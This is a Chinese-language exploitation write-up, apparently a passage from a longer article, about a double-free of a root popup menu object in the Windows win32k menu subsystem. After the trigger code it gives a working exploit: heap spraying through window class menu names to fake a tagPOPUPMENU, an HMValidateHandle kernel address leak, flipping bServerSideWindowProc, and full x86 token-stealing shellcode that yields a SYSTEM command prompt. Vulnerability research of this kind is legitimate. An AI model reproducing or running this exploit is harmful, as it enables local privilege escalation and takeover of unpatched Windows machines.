`SetWindowPos` 以设置 `SWP_SHOWWINDOW`
状态标志，将导致系统对目标菜单窗口创建并关联多个阴影窗口对象，后创建的阴影窗口对象将被先插入 `gpShadowFirst`
链表中，从而位于链表中更靠后的位置。
_多阴影窗口关联的插入链表和位置顺序逻辑_
在自定义挂钩处理函数的 `SysShadow` 处理逻辑中，对进入次数进行计数，对前 2 次进入的情况调用函数 `SetWindowPos`
以触发创建新的阴影窗口关联的逻辑；到第 3 次进入的情况时，我们通过调用函数 `SetWindowLong`
将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数。
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
if (++iShadowCount == 3)
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
{
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
_对目标菜单窗口对象创建多阴影窗口关联的验证代码_
一切处理妥当后，需设置相关的全局标志以阻止执行流重复进入该自定义挂钩处理函数致使上面的逻辑代码被多次执行。
_创建多个阴影窗口对象的执行逻辑_
* * *
**自定义事件通知处理函数**
在内核函数 `xxxTrackPopupMenuEx` 中处理完成对根弹出菜单窗口对象的创建时，系统调用 `xxxWindowEvent`
函数以发送代表“菜单弹出开始”的 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。这将进入我们先前设置的自定义事件通知处理函数
`xxWindowEventProc` 中。每当进入该事件通知处理程序时，代表当前新的弹出菜单已显示在屏幕中。
在验证代码的自定义事件通知处理函数 `xxWindowEventProc` 中进行计数，当第 1
次进入函数时，表示根弹出菜单已在屏幕中显示，因此通过调用函数 `SendMessage` 向参数句柄 `hwnd` 指向的菜单窗口对象发送
`WM_LBUTTONDOWN` 鼠标左键按下的消息，并在参数 `lParam` 传入按下的相对坐标。在 32 位系统中，参数 `lParam` 是一个
`DWORD` 类型的数值，其高低 16 位分别代表横坐标和纵坐标的相对位置，传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数
`wParam` 设定用户按下的是左键还是右键，设置为 `1` 表示 `MK_LBUTTON` 左键。
在内核中消息处理函数 `xxxMenuWindowProc` 接收并处理该消息，这将导致最终调用到函数 `xxxMNOpenHierarchy`
以创建新弹出的子菜单的相关对象。类似地，在处理完成新的子菜单在屏幕中的显示时，函数 `xxxMNOpenHierarchy` 调用函数
`xxxWindowEvent` 发送 `EVENT_SYSTEM_MENUPOPUPSTART` 事件通知。这使得执行流再次进入自定义事件通知处理函数
`xxWindowEventProc` 中。
当第 2 次进入函数 `xxWindowEventProc` 时，表示弹出的子菜单已在屏幕中显示。此时验证代码调用函数 `SendMessage`
向目标子菜单窗口对象发送 `MN_ENDMENU` 菜单终止的消息，这将导致执行流最终进入内核函数 `xxxMNEndMenuState` 中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
_事件通知处理函数发送消息的验证代码_
执行流进入函数 `xxxMNEndMenuState` 时，线程关联的菜单状态对象成员域 `uButtonDownHitArea`
存储最后处理鼠标按下消息时按下坐标位于的窗口对象（即在先前被创建并关联了 3 个阴影窗口对象的菜单窗口对象）的指针。位于 `gShadowFirst`
链表中与该菜单窗口对象关联的最开始的两个阴影窗口已在函数 `xxxEndMenuLoop`
执行期间被解除关联并销毁，此时链表中仍存在与该菜单窗口对象关联的最后 1 个阴影窗口关联节点，该阴影窗口对象就是当时被篡改了消息处理函数的阴影窗口对象。
函数在 `MNFreePopup` 中释放当前根弹出菜单对象之后调用函数 `UnlockMFMWFPWindow` 以解锁成员域
`uButtonDownHitArea` 存储的目标菜单窗口对象时，不出意外的话，此时该菜单窗口对象的锁计数归零，因此窗口管理器将调用销毁函数
`xxxDestroyWindow` 以执行销毁任务。这将解除关联并销毁第 3 个关联的阴影窗口对象，并使执行流进入先前篡改的自定义消息处理函数中。
* * *
**阴影窗口自定义消息处理函数**
在验证代码的阴影窗口自定义消息处理函数 `xxShadowWindowProc` 中，判断消息参数是否为 `WM_NCDESTROY`
类型。如果是的话，则在此直接调用 `NtUserMNDragLeave` 系统服务。
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
__asm { mov eax, num };
__asm { int 2eh };
}
CONST UINT num_NtUserMNDragLeave = 0x11EC;
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
_阴影窗口自定义消息处理函数的验证代码_
函数 `NtUserMNDragLeave` 原本用于结束菜单的拖拽状态。在该函数执行期间，系统在进行一系列的判断和调用之后，最终在函数
`xxxUnlockMenuState` 中调用 `xxxMNEndMenuState` 函数：
bZeroLock = menuState->dwLockCount-- == 1;
if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
{
xxxMNEndMenuState(1);
result = 1;
}
_函数 xxxUnlockMenuState 调用 xxxMNEndMenuState 函数_
这导致重新触达漏洞所在的位置并致使菜单状态对象的成员域 `pGlobalPopupMenu` 指向的根弹出菜单对象被重复释放，导致系统 BSOD 的发生。
_根弹出菜单对象重复释放导致系统 BSOD 的发生_
#### 0x4 利用
前面的章节对漏洞原理进行分析并构造了简单的漏洞触发验证代码。在本章节中将利用该漏洞的触发，通过循序渐进的方式构造利用代码，最终实现利用和提权的目的。
* * *
**初始化利用数据**
在利用代码中自定义结构体 `SHELLCODE` 以存储与利用相关的数据：
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
_自定义的 SHELLCODE 结构体定义_
在利用代码的早期阶段在用户进程中分配完整内存页的 `RWX` 内存块，并初始化相关成员域，将 ShellCode 函数代码拷贝到从成员域
`pfnWindProc` 起始的内存地址。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
_初始化分配的 SHELLCODE 结构体内存区域_
成员域 `pfnWindProc` 起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。
* * *
**伪造根弹出菜单对象**
在用户进程验证代码的阴影窗口自定义消息处理函数 `xxShadowWindowProc` 执行期间，需要通过相关函数在内核中分配与
`tagPOPUPMENU` 结构体相同大小的缓冲区以占位刚释放的内存空隙，伪造新的弹出菜单对象，使系统误认为弹出菜单对象仍旧正常存在于内核中。
这在利用代码中将通过调用函数 `SetClassLong` 对大量的窗口对象设置 `MENUNAME` 字段的方式实现。这些窗口对象需要在首次调用函数
`TrackPopupMenuEx` 之前完成创建和初始化。
回到验证代码调用函数 `TrackPopupMenuEx` 之前创建菜单对象的位置，在此时机增加调用函数 `CreateWindowEx`
以创建大量窗口对象，并为每个窗口对象注册单独的窗口类。
for (INT i = 0; i < 0x100; ++i)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXW);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
_创建大量普通窗口对象的利用代码_
接下来在验证代码的自定义阴影窗口消息处理函数 `xxShadowWindowProc` 中调用系统服务 `NtUserMNDragLeave`
之前，增加对前面批量创建的普通窗口对象设置 `GCL_MENUNAME` 的调用：
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208; //->flags
dwPopupFake[0x1] = 0xDDDDDDDD; //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD; //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD; //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD; //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD; //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD; //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD; //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD; //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD; //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD; //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD; //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
_为普通窗口对象设置 MENUNAME 字段的利用代码_
由于 `MENUNAME` 字段属于 `WCHAR` 字符串格式，因此在初始化缓冲区时需要将所有数值设置为不包含连续 2 字节为 `0`
的情况。通过调用函数 `SetClassLongW` 为目标窗口对象设置 `MENUNAME` 字段时，系统最终在内核中为窗口对象所属的窗口类
`tagCLS` 对象的成员域 `lpszMenuName` 分配并设置 `UNICODE` 字符串缓冲区。
由于成员域 `lpszMenuName` 指向的缓冲区和弹出菜单 `tagPOPUPMENU`
对象的缓冲区同样是进程配额的内存块，因此两者所占用的额外内存大小相同，只需要将在利用代码中为每个窗口对象设置的 `MENUNAME` 缓冲区长度设置为与
`tagPOPUPMENU` 大小相同的长度，那么通常情况下在内核中总有一个窗口对象的 `MENUNAME`
缓冲区被分配在先前释放的根弹出菜单对象的内存区域中，成为伪造的根弹出菜单 `tagPOPUPMENU` 对象。
_通过设置 GCL_MENUNAME 占用原根弹出菜单对象内存区域_
为使在稍后位置调用的系统服务 `NtUserMNDragLeave` 能依据伪造的根弹出菜单对象再次进入函数 `xxxMNEndMenuState`
调用，需要将伪造对象的成员域 `flags` 进行稍微设置，将关键标志位置位，其余标志位置零。
kd> dt win32k!tagPOPUPMENU 0141fb44
[...]
+0x000 fIsTrackPopup : 0y1
[...]
+0x000 fFirstClick : 0y1
[...]
+0x000 fDestroyed : 0y1
+0x000 fDelayedFree : 0y1
[...]
+0x000 fInCancel : 0y1
[...]
+0x004 spwndNotify : 0xdddddddd tagWND
+0x008 spwndPopupMenu : 0xdddddddd tagWND
+0x00c spwndNextPopup : 0xdddddddd tagWND
+0x010 spwndPrevPopup : 0xdddddddd tagWND
+0x014 spmenu : 0xdddddddd tagMENU
+0x018 spmenuAlternate : 0xdddddddd tagMENU
+0x01c spwndActivePopup : 0xdddddddd tagWND
+0x020 ppopupmenuRoot : 0xdddddddd tagPOPUPMENU
+0x024 ppmDelayedFree : 0xdddddddd tagPOPUPMENU
+0x028 posSelectedItem : 0xdddddddd
+0x02c posDropped : 0xdddddddd
_伪造的 tagPOPUPMENU 对象的成员域数据_
* * *
**伪造弹出菜单对象成员域**
前面伪造的 `tagPOPUPMENU`
对象重新占用了先前释放的根弹出菜单对象的内存区域，并且其各个成员域在利用代码中分配时可以实施完全控制。但前面并未对其各个指针成员域进行有效性设置，这样一来在函数
`xxxMNEndMenuState`
中解锁各个指针成员域指向的对象时仍旧会触发缺页异常等错误。接下来通过对指针成员域进行设置，使其指向有效的内存空间，以使内核逻辑能够正常向后执行。
回到验证代码中创建作为弹出菜单拥有者的窗口对象 `hWindowMain` 的位置，增加创建新的用作利用载体的普通窗口对象 `hWindowHunt`
的代码：
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0x200;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
L"WNDCLASSHUNT",
NULL,
WS_OVERLAPPED,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
_创建用来作为利用载体的窗口对象的利用代码_
载体窗口对象 `hWindowHunt` 具有 `0x200` 字节大小的扩展区域，扩展区域紧随基础的 `tagWND`
对象其后，在利用代码中将用来伪造各种相关的内核用户对象，以使系统重新执行 `xxxMNEndMenuState` 期间，执行流能正常稳定地执行。
接下来通过 `HMValidateHandle` 内核对象地址泄露技术获取载体窗口对象的 `tagWND` 内核地址。窗口对象 `tagWND`
的头部结构是一个 `THRDESKHEAD` 成员结构体对象，完整的结构体定义如下：
kd> dt win32k!_THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
_结构体 THRDESKHEAD 的定义_
其中成员域 `pSelf` 指向所属用户对象的内核首地址。因此通过该指针加上 `tagWND` 结构体的大小定位到当前窗口对象的扩展区域的内核地址。
根据代码分析，函数 `xxxMNEndMenuState` 在执行的初始阶段调用函数 `MNEndMenuStateNotify`
用来在通知窗口对象所属线程和当前菜单状态所属线程不同的情况下，清理通知线程的线程信息对象的成员域 `pMenuState` 数值。然而不幸的是，由于伪造的
`tagPOPUPMENU` 对象已覆盖原有数据，因此需要继续伪造包括通知窗口对象在内的其他内核用户对象。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
_填充载体窗口对象扩展区域的利用代码_
将载体窗口对象的扩展区域预留 `4` 字节，将剩余 `0x1FC` 字节的内存区域全部填充为扩展区域 `+0x04`
字节偏移的地址，填充的数值将作为各种伪造对象的句柄、引用计数或对象指针成员域。
接下来将剩余内存区域 `+0x44` 字节偏移的内存数据作为伪造的内核用户对象头部结构，其地址被作为伪造的根弹出菜单 `tagPOPUPMENU`
对象的各个指针成员域的值。在利用代码的自定义阴影窗口消息处理函数 `xxxShadowWindowProc` 中替换原来的初始化 `MENUNAME`
字段缓冲区的利用代码：
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
_更新的初始化 MENUNAME 缓冲区的利用代码_
其中例外的成员域 `ppopupmenuRoot` 和 `posSelectedItem` 被填充为 `0xFFFFFFFF`
以防止执行流误入歧途。由于伪造对象头部 `pvHeadFake` 指向的内存区域对应的成员域 `cLockObj`
具有极大的数值，因此在内核中各个针对该伪造对象的解锁和解引用函数调用都不足以使系统为其调用销毁对象的函数，因此异常将不会发生。
在函数 `xxxMNEndMenuState` 第二次执行期间，在原位置重新分配的伪造根弹出菜单 `tagPOPUPMENU` 对象在函数
`MNFreePopup` 中释放。
* * *
**内核地址泄露技术**
本分析中使用了 `HMValidateHandle` 内核地址泄露技术。在 `user32`
模块中，在操作一些用户对象时，为了提升效率以便于直接在用户模式获取目标用户对象的数据，系统提供了未导出的函数 `HMValidateHandle`
以供模块内部使用。
这个函数接收用户句柄和对象类型作为参数，在内部对参数进行验证，验证通过时则返回目标对象在当前进程桌面堆中映射的地址。该函数并未导出，但在一些导出函数中调用，例如
`IsMenu` 函数。该函数验证通过参数传入的句柄是否为菜单句柄。函数通过将句柄值和菜单类型枚举 `2`(`TYPE_MENU`) 传入函数
`HMValidateHandle` 调用，并判断函数返回值是否不为空，并返回判断的结果。
.text:76D76F0E 8B FF mov edi, edi
.text:76D76F10 55 push ebp
.text:76D76F11 8B EC mov ebp, esp
.text:76D76F13 8B 4D 08 mov ecx, [ebp+hMenu]
.text:76D76F16 B2 02 mov dl, 2
.text:76D76F18 E8 73 5B FE FF call @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8 neg eax
.text:76D76F1F 1B C0 sbb eax, eax
.text:76D76F21 F7 D8 neg eax
.text:76D76F23 5D pop ebp
.text:76D76F24 C2 04 00 retn 4
_函数 IsMenu 的指令片段_
因此我们可以通过硬编码匹配的方式，从 `user32` 模块的导出函数 `IsMenu` 中查找并计算函数 `HMValidateHandle` 的地址。
static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
break;
}
}
_查找并计算 HMValidateHandle 函数地址的利用代码_
目标函数查找到之后，在利用代码中需要获取窗口对象等类型用户对象的地址的时机调用该函数并传入对象句柄，调用成功时则返回目标对象在用户进程桌面堆中的映射地址。
#define TYPE_WINDOW 1
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
_获取目标窗口对象在桌面堆中的映射地址的利用代码_
窗口对象的头部结构是一个 `THRDESKHEAD` 成员结构体对象，其中存在子成员域 `pSelf` 指向所属窗口对象的内核首地址。
* * *
**内核模式代码执行**
成员标志位 `bServerSideWindowProc` 位于 `tagWND` 对象标志成员域的第 `18` 比特位，其之前的两个标志位是
`bDialogWindow` 和 `bHasCreatestructName` 标志位：
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x014 state : Uint4B
[...]
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
标志位 `bDialogWindow` 的位置是 `bServerSideWindowProc`
所在字节的起始比特位。通过研究发现，在创建普通窗口对象时，如果样式参数 `dwStyle` 和扩展样式参数 `dwExStyle` 都传值为 `0`
默认值，那么在内核中成员域 `bDialogWindow` 和 `bHasCreatestructName`
都将未被置位。因此可以借助这个特性，实现对目标关键标志位的置位。
在利用代码中填充载体窗口对象的扩展区域内存期间，增加通过内核地址泄露技术获取窗口对象成员域 `bDialogWindow` 的地址的调用：
pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
接着将先前初始化的结构体 `SHELLCODE` 对象的成员域 `pfnWindProc` 起始地址设置为载体窗口对象 `hWindowHunt`
的消息处理函数：
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
在利用代码的自定义阴影窗口消息处理函数 `xxxShadowWindowProc` 中初始化 `MENUNAME` 字段缓冲区数值时，将成员标志位
`bDialogWindow` 的地址减 `4` 字节偏移的地址作为伪造 `tagPOPUPMENU` 对象的某个窗口对象指针成员域（例如
`spwndPrevPopup` 成员域）的数值，使前面提到的三个标志位正好位于该指针成员域指向的“窗口对象”的锁计数成员域 `cLockObj` 的最低
3 比特位：
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
在函数 `xxxMNEndMenuState` 执行期间，系统为根弹出菜单对象的成员域 `spwndPrevPopup` 调用函数
`HMAssignmentUnlock` 以解除对目标窗口对象的赋值锁时，将直接对以成员标志位 `bDialogWindow` 地址起始的 32
位数值自减，这将使成员标志位 `bServerSideWindowProc` 被置位。
_通过自减指令使目标比特位被置位_
由于成员标志位 `bServerSideWindowProc` 置位，载体窗口对象将获得在内核上下文直接执行窗口对象消息处理函数的能力。
* * *
**ShellCode**
ShellCode 函数代码将作为载体窗口对象的自定义消息处理函数在内核上下文直接执行。在构造 ShellCode
函数代码之前，首先对所需的数据进行初始化和赋值。
根据前面构造的利用代码，我们已实现漏洞触发后在函数 `xxxMNEndMenuState`
第二次执行期间不引发系统异常而成功执行，但第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 `tagCLS` 对象的成员域
`lpszMenuName` 指向的缓冲区。这将导致在进程退出时销毁用户对象期间，系统在内核中释放目标窗口类对象成员域 `lpszMenuName`
时引发重复释放的异常，因此需要在 ShellCode 代码中将目标窗口类对象的成员域 `lpszMenuName` 置空。
在利用代码批量创建普通窗口对象期间，增加获取每个窗口对象的成员域 `pcls` 指向地址的语句，并将获取到的各个 `pcls` 指向地址存储在结构体
`SHELLCODE` 对象的成员数组 `tagCLS[]` 中。
static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
_获取 tagCLS 地址并存储在结构体 SHELLCODE 对象的利用代码_
查找需置空成员域 `lpszMenuName`
的目标窗口类对象需要通过与根弹出菜单对象的内核地址进行匹配，因此需要利用代码在用户进程中获取根弹出菜单对象的内核地址。这可以在事件通知处理函数
`xxWindowEventProc` 中实现：
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
_在函数 xxWindowEventProc 中增加获取根弹出菜单对象地址的利用代码_
在利用代码开始的位置初始化结构体 `SHELLCODE` 对象缓冲区时，拷贝利用函数 `xxPayloadWindProc` 的代码到
`SHELLCODE` 对象缓冲区中。接下来实现对 `xxPayloadWindProc`
函数代码的构造。该函数的代码将作为载体窗口对象的内核模式消息处理函数在内核上下文中执行。与在用户上下文中执行的窗口对象消息处理函数稍有不同的是，内核模式窗口对象消息处理函数的第
1 个参数是指向目标窗口 `tagWND` 对象的指针，其余参数都相同。
为了精确识别触发提权的操作，在代码中定义 `0x9F9F` 为触发提权的消息。在 ShellCode
函数代码中，我们首先判断传入的消息参数是否是我们自定义的提权消息：
push ebp
mov ebp,esp
mov eax,dword ptr [ebp+0Ch]
cmp eax,9F9Fh
jne LocFAILED
在 32 位的 Windows 操作系统中，用户上下文代码段寄存器 `CS` 值为 `0x1B`，借助这个特性，在 ShellCode
函数代码中判断当前执行上下文是否在用户模式下，如是则返回失败。
mov ax,cs
cmp ax,1Bh
je LocFAILED
恢复载体窗口对象的成员标志位为初始值。与之前修改标志位时的自减相对地，使成员标志位 `bDialogWindow` 地址起始的 32
位数据直接自增，这样一来，成员标志位 `bServerSideWindowProc` 等被修改的标志位将恢复到修改之前的状态。
cld
mov ecx,dword ptr [ebp+8]
inc dword ptr [ecx+16h]
首先备份当前所有通用寄存器的数值在栈上，接下来通过 `CALL-POP` 技术获取当前 `EIP` 执行指令的地址，并根据相对偏移计算出存储在
ShellCode 函数代码前面位置的结构体 `SHELLCODE` 对象的首地址：
pushad
call $+5
pop edx
sub edx,443h
遍历结构体 `SHELLCODE` 对象存储的 `tagCLS` 数组并与通过参数 `wParam` 传入的根弹出菜单对象的内核地址进行匹配，并将匹配到的
`tagCLS` 对象的成员域 `lpszMenuName` 置空。
mov ebx,100h
lea esi,[edx+18h]
mov edi,dword ptr [ebp+10h]
LocForCLS:
test ebx,ebx
je LocGetEPROCESS
lods dword ptr [esi]
dec ebx
cmp eax,0
je LocForCLS
add eax,dword ptr [edx+8]
cmp dword ptr [eax],edi
jne LocForCLS
and dword ptr [eax],0
jmp LocForCLS
接下来获取载体窗口对象头部结构中存储的线程信息 `tagTHREADINFO` 对象指针，并继续获取线程信息对象中存储的进程信息
`tagPROCESSINFO` 对象指针，并获取对应进程的进程体 `EPROCESS` 对象指针。各个成员域的偏移在结构体 `SHELLCODE`
对象中存储。
LocGetEPROCESS:
mov ecx,dword ptr [ecx+8]
mov ebx,dword ptr [edx+0Ch]
mov ecx,dword ptr [ebx+ecx]
mov ecx,dword ptr [ecx]
mov ebx,dword ptr [edx+10h]
mov eax,dword ptr [edx+4]
接下来根据进程体 `EPROCESS` 对象的成员域 `ActiveProcessLinks` 双向链表和成员域 `UniqueProcessId`
进程标识符找到当前进程的 `EPROCESS` 地址。由于 `UniqueProcessId` 是成员域 `ActiveProcessLinks`
的前一个成员域，因此直接使用 `SHELLCODE` 对象中存储的 `ActiveProcessLinks` 偏移值来定位
`UniqueProcessId` 的位置。
push ecx
LocForCurrentPROCESS:
cmp dword ptr [ebx+ecx-4],eax
je LocFoundCURRENT
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForCurrentPROCESS
LocFoundCURRENT:
mov edi,ecx
pop ecx
紧接着继续遍历进程体 `EPROCESS` 对象链表，以找到 System 进程的进程体对象地址。
LocForSystemPROCESS:
cmp dword ptr [ebx+ecx-4],4
je LocFoundSYSTEM
mov ecx,dword ptr [ebx+ecx]
sub ecx,ebx
jmp LocForSystemPROCESS
LocFoundSYSTEM:
mov esi,ecx
执行到这一步已定位到当前进程和 System 进程的进程体对象地址，接下来就使用 System 进程的成员域 `Token` 指针替换当前进程的
`Token` 指针。
mov eax,dword ptr [edx+14h]
add esi,eax
add edi,eax
lods dword ptr [esi]
stos dword ptr es:[edi]
此时当前进程已拥有 System 进程的 `Token` 指针，额外增加的引用需要手动为目标 `Token` 对象增加对象引用计数。在 NT
执行体模块中大多数内核对象都是以 `OBJECT_HEADER` 结构体作为头部结构：
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
该结构位于内核对象地址前面的位置，内核对象起始于 `OBJECT_HEADER` 结构体的 `Body` 成员域。手动增加指针引用需要对成员域
`PointerCount` 进行自增。
and eax,0FFFFFFF8h
add dword ptr [eax-18h],2
接下来大功告成，恢复前面备份的通用寄存器的数值到寄存器中，并赋值返回值为 `0x9F9F` 作为向调用者的反馈信息。
popad
mov eax,9F9Fh
jmp LocRETURN
LocFAILED:
mov eax,1
LocRETURN:
leave
ret 10h
至此 ShellCode 函数代码已编写完成。
* * *
**触发提权**
万事俱备，只欠东风。接下来在利用代码的自定义阴影窗口消息处理函数 `xxShadowWindowProc` 中调用系统服务
`NtUserMNDragLeave` 之后的位置增加对载体窗口对象发送自定义提权消息 `0x9F9F` 的调用语句，并将返回值的判断结果存储在全局变量
`bDoneExploit` 中。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
_在函数 xxShadowWindowProc 中增加发送提权消息的利用代码_
这样一来，在执行系统服务 `NtUserMNDragLeave` 以置位载体窗口对象的成员标志位 `bServerSideWindowProc`
之后，函数发送 `0x9F9F` 消息并将根弹出菜单对象的内核地址作为 `wParam`
参数传入，执行流将在内核上下文中直接调用载体窗口对象的自定义消息处理函数，执行到由用户进程定义的 ShellCode
代码中，实现内核提权和相关内核用户对象成员域的修复。
通过主线程监听全局变量 `bDoneExploit` 是否被赋值；如成功赋值则创建新的命令提示符进程。
_启动的命令提示符进程已属于 System 用户身份_
